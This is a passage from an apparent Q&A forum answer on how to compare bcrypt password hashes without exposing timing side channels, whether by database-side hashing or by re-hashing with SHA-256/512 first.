Another common suggestion is to hash the strings and then compare the hashes. This would be much simpler than the code above.

Which method is preferable? If I were to use the hash solution, which algorithm would I choose to not degrade the strength of bcrypt (not even theoretically)? SHA-256? SHA-384? SHA-512?

Note that you can't compute the bcrypt hash in the application and pass it to the database unless you store the salts separately from the hashes.  If you do that, you'll incur the overhead of performing a SELECT first, then the bcrypt, and then the password verify step.  Doing as the presentation suggests (having the DB calculate the hash) might make the most sense.  Postgres 9's crypt module does support bcrypt as a built-in hash type.

If you want to do the hashing in the application anyway, comparing with a hash is probably the simplest (least likely to have implementation issues).  Since bcrypt is based on blowfish, it only considers up to 448 bits of input, so you can safely hash the output with SHA-512 and mathematically will not lose any strength.  In reality, SHA-256 is fine as well, as users passwords essentially never contain more than 256 bits of entropy.  Even 256 bits of perfectly random printable characters would take 56 character long passwords.  Comparing using a hash is likely to have the most straightforward implementation, and since you already have the overhead of bcrypt, the cost of 2 additional hashes is trivial.

(This part of the answer is based on a misinterpretation of the question as being concerned about timing attacks against the application, not the database, but I'm leaving it here for reference.)

If you're using bcrypt, you've already hashed the password, so you don't need to be concerned about the timing results.  Even if someone could deduce the hash of the password, they'd still need to find a plaintext to provide to the application, which should be computationally infeasible (or bcrypt is broken).

Timing attacks are only useful if the attacker can iterate over the values being compared to find a useful comparison.  (i.e., A, B, C...)  With a hashed value, this is not possible, as they cannot iterate over the output of the hash (for cryptographically strong hashes). Small changes in the input to bcrypt result in large changes to the output.  A user providing the input to bcrypt has no way to try out prefixes and then extend the prefix.  An attacker would not know anything about either side of the comparison, and thus timing attacks do not leak any information about the value of the hash.